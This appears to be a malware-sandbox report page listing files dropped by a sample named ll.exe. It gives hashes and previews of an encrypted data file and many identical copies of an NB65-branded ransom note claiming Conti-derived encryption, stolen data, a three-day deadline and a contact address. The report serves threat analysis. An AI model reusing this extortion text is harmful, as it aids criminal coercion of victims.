C:\ProgramData\Microsoft Help\nslist.hxl

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6796
Entropy (8bit):7.971358303387113
Encrypted:false
SSDEEP:
MD5:34C9C8B1D0372686723FC63585F4ED06
SHA1:B79A3049EDCE3809D3AFDDBECB1EB4554B1B6C8A
SHA-256:3CB4360F9D95AA50821D7795BD471FC60E1B1DBD1851A3C65D82969BDA33C181
SHA-512:9EF8648327B7B4C943F5A29D69A0D6E8ADB25E059F7E9223EEDEC30D5A4AE40B1100FB538EB292190E83D532E7B6905727128F403C90436E3EFDB8B39F6A56A4
Malicious:false
Preview:7.,Hs.S.S>....n....N..{..bI_..;.. .n..I0.b..w..v. .D8p.+...q..~o%.I. ....^.E(.B6..>._u....F..K.&.<2=e..Dr.. ..O..:<..P.......+t........U....U.\......|..c..>l...[....tzW F...|....]1C\6{h........[..0f..m0..aA>w..H..r....-w......&...c'.%x...4.."..E..m...3.j..._.&....{|...8......B........Sm..)..to.&.9.._.N._..R.-...<....A..V..A..bo.D.W....n...8..8|.v....A/.Z..n...b+ ..;........._/y._.....s.F.......Y...oJRl.J..L...K].I.....I`.....#d..+.%.Vm ......s#.&..>........m.9..'t8.#....Z.JK...w%.......o.6PI0.lWW=0&QI.3.Z)....1........i.,.....@5.d.Rl."...?.E..u%V...KN......Q..j{........>P..7.s...u...@k.R.. oc}.3qJ...iP.t....Y..1.xy.cY...!.<x...H....a.D#..g...}x(TPo......j.EM..Nf@.WD..q...M{...$...w.....`..q..B.. .Q.j.My.K1C......0.(V.3.)<0.Q+D.V.o..F.>.O.'....X4...e.gIZ....Awv.Z.N.i......X.3O$m.,O`.@f..t..|...*y1...h.....R......-i..8)...wn..&:.M#..^.wG..9.L..8.u|....j.N..KkE....&#..2....a].Nf..6.=.Q.5.2.{..c`u.......%....5.3..*....>Y?.v"....jZ.bs`_

C:\ProgramData\Microsoft Help\nslist.hxl.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6796
Entropy (8bit):7.971358303387113
Encrypted:false
SSDEEP:
MD5:34C9C8B1D0372686723FC63585F4ED06
SHA1:B79A3049EDCE3809D3AFDDBECB1EB4554B1B6C8A
SHA-256:3CB4360F9D95AA50821D7795BD471FC60E1B1DBD1851A3C65D82969BDA33C181
SHA-512:9EF8648327B7B4C943F5A29D69A0D6E8ADB25E059F7E9223EEDEC30D5A4AE40B1100FB538EB292190E83D532E7B6905727128F403C90436E3EFDB8B39F6A56A4
Malicious:false
Preview:7.,Hs.S.S>....n....N..{..bI_..;.. .n..I0.b..w..v. .D8p.+...q..~o%.I. ....^.E(.B6..>._u....F..K.&.<2=e..Dr.. ..O..:<..P.......+t........U....U.\......|..c..>l...[....tzW F...|....]1C\6{h........[..0f..m0..aA>w..H..r....-w......&...c'.%x...4.."..E..m...3.j..._.&....{|...8......B........Sm..)..to.&.9.._.N._..R.-...<....A..V..A..bo.D.W....n...8..8|.v....A/.Z..n...b+ ..;........._/y._.....s.F.......Y...oJRl.J..L...K].I.....I`.....#d..+.%.Vm ......s#.&..>........m.9..'t8.#....Z.JK...w%.......o.6PI0.lWW=0&QI.3.Z)....1........i.,.....@5.d.Rl."...?.E..u%V...KN......Q..j{........>P..7.s...u...@k.R.. oc}.3qJ...iP.t....Y..1.xy.cY...!.<x...H....a.D#..g...}x(TPo......j.EM..Nf@.WD..q...M{...$...w.....`..q..B.. .Q.j.My.K1C......0.(V.3.)<0.Q+D.V.o..F.>.O.'....X4...e.gIZ....Awv.Z.N.i......X.3O$m.,O`.@f..t..|...*y1...h.....R......-i..8)...wn..&:.M#..^.wG..9.L..8.u|....j.N..KkE....&#..2....a].Nf..6.=.Q.5.2.{..c`u.......%....5.3..*....>Y?.v"....jZ.bs`_

C:\ProgramData\Microsoft OneDrive\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft OneDrive\setup\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\AppV\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Crypto\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\DRM\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Device Stage\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\DeviceSync\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Diagnosis\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\IdentityCRL\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\MF\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\MapData\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\NetFramework\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Network\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\OFFICE\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Provisioning\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Search\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\Settings\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft\SmsRouter\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
